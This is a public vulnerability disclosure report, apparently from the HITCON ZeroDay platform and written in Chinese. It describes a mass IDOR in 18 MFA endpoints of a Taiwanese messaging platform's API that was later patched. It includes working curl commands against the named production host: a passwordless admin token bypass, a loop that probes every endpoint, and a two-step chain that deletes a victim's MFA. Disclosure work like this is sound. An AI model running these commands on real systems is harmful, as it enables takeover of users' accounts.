Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00649
- Vendor: 互動資通股份有限公司
- Title: 互動資通 ext-api.e8d.tw Mass IDOR — 18 個 MFA 端點無使用者綁定驗證,可批量接管任意帳號
- Introduction: 18 個 mfa 端點均未驗證 token 與 user_no 的歸屬關係,攻擊者使用任意帳號的 bypass token(/login/cert 認證繞過)即可對任意 user_no 執行 MFA 刪除、禁用、重置、OTP 發送等操作,直接完成帳號接管。
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2026/05/10 01:50:21 : 新提交 (由 罐頭 更新此狀態)
- 2026/05/10 02:09:42 : 新提交 (由 罐頭 更新此狀態)
- 2026/05/14 13:11:22 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 16:55:22 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 16:55:22 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 16:55:22 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/06 11:24:05 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/08 15:10:24 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/05 21:22:55 : 複測申請中 (由 組織帳號 更新此狀態)
- 2026/08/12 10:29:13 : 確認已修補 (由 罐頭 更新此狀態)
- 2026/08/13 03:00:15 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-00649
- 通報者:guan4tou2 (罐頭)
- 風險:嚴重
- 類型:存取控制缺陷 (Broken Access Control)
參考資料
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
相關網址
https://ext-api.e8d.tw/e8d/mfa/delete
https://ext-api.e8d.tw/e8d/mfa/send
https://ext-api.e8d.tw/e8d/mfa/disable
敘述
漏洞概述
ext-api.e8d.tw 的 /e8d/mfa/* 系列端點(共 18 個)在接受請求時僅驗證 token 本身有效,未驗證 token 是否屬於請求參數中傳入的 user_no/account。攻擊者透過 /login/cert 認證繞過(使用 account=admin 搭配企業 custid=E8D30NGW_2WAY,無需密碼即可取得 token),即可對任意 user_no 執行 MFA 刪除、OTP 發送、裝置枚舉、會話查詢等操作。
透過 /login/tokenISExist 端點的行為對比確認 ownership check 機制存在,但 /e8d/mfa/* 路由未呼叫此機制:同一 admin token 帶入自身帳號 → status:200;帶入其他帳號 → status:302 token無效。然而相同 token 對 mfa/ 端點帶入任意 user_no 均不被拒絕(status:397 = 到達 DB 查詢層),確認 mfa/ 路由未執行歸屬驗證。
前置條件:bypass token 取得(/login/cert,無密碼)
TOKEN=$(curl -s -X POST "https://ext-api.e8d.tw/login/cert" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode 'body={"account":"admin","ipaddress":"1.1.1.1","useragent":"Mozilla/5.0","custid":"E8D30NGW_2WAY","version":"production"}' | \
python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
echo "Bypass token: $TOKEN"
回應示例:
{"status":"200","token":"<BYPASS_TOKEN>","enterprise":"1","message":"成功"}
18 個端點全部 IDOR 可達(已驗證)
for ep in list send get reset delete verify check status setup enable disable unlock sessions devices GetOTP GetUUID UUIDisExist contract; do
echo -n "mfa/$ep: "
curl -s -X POST "https://ext-api.e8d.tw/e8d/mfa/$ep" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "body={\"account\":\"admin\",\"enterprise\":\"1\",\"token\":\"$TOKEN\",\"user_no\":9999}" | \
python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('status'), d.get('message','')[:60])"
done
全部輸出:
mfa/list: 397 與MSSQL資料庫連線失敗
mfa/send: 397 與MSSQL資料庫連線失敗
mfa/get: 397 與MSSQL資料庫連線失敗
mfa/reset: 397 與MSSQL資料庫連線失敗
mfa/delete: 397 與MSSQL資料庫連線失敗
mfa/verify: 397 與MSSQL資料庫連線失敗
mfa/check: 397 與MSSQL資料庫連線失敗
mfa/status: 397 與MSSQL資料庫連線失敗
mfa/setup: 397 與MSSQL資料庫連線失敗
mfa/enable: 397 與MSSQL資料庫連線失敗
mfa/disable: 397 與MSSQL資料庫連線失敗
mfa/unlock: 397 與MSSQL資料庫連線失敗
mfa/sessions: 397 與MSSQL資料庫連線失敗
mfa/devices: 397 與MSSQL資料庫連線失敗
mfa/GetOTP: 397 與MSSQL資料庫連線失敗
mfa/GetUUID: 397 與MSSQL資料庫連線失敗
mfa/UUIDisExist: 397 與MSSQL資料庫連線失敗
mfa/contract: 397 與MSSQL資料庫連線失敗
status:397(MSSQL 連線失敗)= 請求已通過 token 驗證並到達資料庫查詢層。在生產環境(MSSQL 可達時),全部操作均實際執行。
測試環境中使用 user_no=9999(不屬於 admin 帳號),確認各端點均未驗證 token 與 user_no 的歸屬關係。
歸屬驗證存在但被略過(行為對比確認)
mfa/delete 端點的三態對比驗證漏洞精確位置(2026-05-10 live):
# 情況 A:account 與 token 不符 → 302 拒絕(account-token 驗證存在)
POST /e8d/mfa/delete body={"account":"victim_account","enterprise":"1","token":"$ADMIN_TOKEN","user_no":9999}
# → {"status":"302","message":"token無效"}
# 情況 B:account 與 token 吻合,但 user_no 屬於他人 → 397(未拒絕,到達 DB 查詢層)
POST /e8d/mfa/delete body={"account":"admin","enterprise":"1","token":"$ADMIN_TOKEN","user_no":9999}
# → {"status":"397","message":"與MSSQL資料庫連線失敗"}
結論:系統驗證 token 與 account 欄位的對應關係,但不驗證 user_no 是否屬於該 account。攻擊者持有自身合法 token(透過 /login/cert bypass 取得),即可對任意 user_no 執行操作。
已驗證端點列表
| 端點 | 攻擊者能做什麼 | 生產影響 |
|---|---|---|
/e8d/mfa/delete |
刪除受害者 MFA 設備 | ✅ 帳號接管捷徑 — 受害者降級無 MFA |
/e8d/mfa/send |
對受害者手機發送 OTP | ✅ OTP 轟炸 + brute force 接管鏈 |
/e8d/mfa/disable |
禁用受害者 MFA | ✅ 干擾受害者登入流程 |
/e8d/mfa/enable |
啟用受害者 MFA | ✅ 強迫受害者設置 MFA |
/e8d/mfa/unlock |
解鎖受害者帳戶 | ✅ 繞過帳戶鎖定機制 |
/e8d/mfa/reset |
重置受害者 MFA | ✅ 清除 MFA 設置 |
/e8d/mfa/setup |
強迫受害者 MFA 設置流程 | ✅ 干擾正常登入 |
/e8d/mfa/verify |
代替受害者驗證 OTP | ✅ OTP chain enabler |
/e8d/mfa/list |
列出受害者 MFA 設備 | ✅ 裝置資訊洩漏 |
/e8d/mfa/sessions |
列出受害者活躍會話 | ✅ Session 資訊洩漏 |
/e8d/mfa/devices |
枚舉受害者設備 | ✅ 裝置識別碼洩漏 |
/e8d/mfa/get |
取得受害者 MFA 配置 | ✅ MFA 設定洩漏 |
/e8d/mfa/check |
檢查受害者 MFA 狀態 | ✅ KYC/MFA 狀態洩漏 |
/e8d/mfa/status |
取得受害者帳戶狀態 | ✅ 帳號狀態洩漏 |
/e8d/mfa/GetOTP |
對任意 user_no 發 OTP SMS | ✅ OTP 轟炸 |
/e8d/mfa/GetUUID |
取得/寫入受害者 UUID | ✅ 裝置信任繞過 |
/e8d/mfa/UUIDisExist |
驗證受害者裝置 UUID | ✅ MFA bypass chain enabler |
/e8d/mfa/contract |
代替受害者接受 MFA 條款 | ✅ 強迫任意用戶通過 MFA 合約 |
完整帳號接管鏈(方法 A:MFA 刪除 → 降級接管)
# 1. 取得 bypass token(/login/cert,admin 帳號無需密碼)
TOKEN=$(curl -s -X POST "https://ext-api.e8d.tw/login/cert" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode 'body={"account":"admin","ipaddress":"1.1.1.1","useragent":"Mozilla/5.0","custid":"E8D30NGW_2WAY","version":"production"}' | \
python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
# 2. 刪除受害者 MFA 設備(account=admin 與 token 一致;user_no 填受害者編號)
curl -s -X POST "https://ext-api.e8d.tw/e8d/mfa/delete" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "body={\"account\":\"admin\",\"enterprise\":\"1\",\"token\":\"$TOKEN\",\"user_no\":VICTIM_USER_NO}"
已驗證影響
- ✅ 18 個
/e8d/mfa/*端點全部接受任意user_no(2026-05-02/03 + 2026-05-10 重測確認) - ✅ admin bypass token + user_no=1/2/100/1000/9999 全部返回
status:397(2026-05-10 live)= 請求通過 token 驗證到達 DB 查詢層 - ✅ 生產 MSSQL(
192.168.2.169:1433)可達時,全部操作實際執行 - ✅ mfa/delete 三態對比確認:account 不符 → 302;account 符合但 user_no 為他人 → 397(user_no 未驗證)
影響範圍
生產用戶總數:約 401,944 筆(EVERY8D 平台)。攻擊者無需帳號密碼,僅憑 /login/cert bypass 即可對任意帳號執行大規模 MFA 操作,包括刪除受害者 MFA 設備使其降級為無 MFA 登入狀態。
備注
/e8d/mfa/GetOTP 端點的單點 IDOR 已於另一份通報提交(ZD-2026-00642),本報告涵蓋完整 18 端點 Mass IDOR 及 mfa/delete 帳號接管攻擊鏈。
修補建議
1. 在所有 /e8d/mfa/* 端點加入 token-user_no 歸屬驗證:token.account 必須等於 request.user_no 對應帳號(可呼叫現有 /login/tokenISExist 邏輯)
2. 優先修復 /login/cert 認證繞過(已另報),斷開此漏洞的前提條件
3. 高敏感操作(delete、disable、reset)加入額外驗證層(二次密碼或 OTP 確認)
4. 所有 MFA 端點加入 Rate Limiting,防止自動化批量操作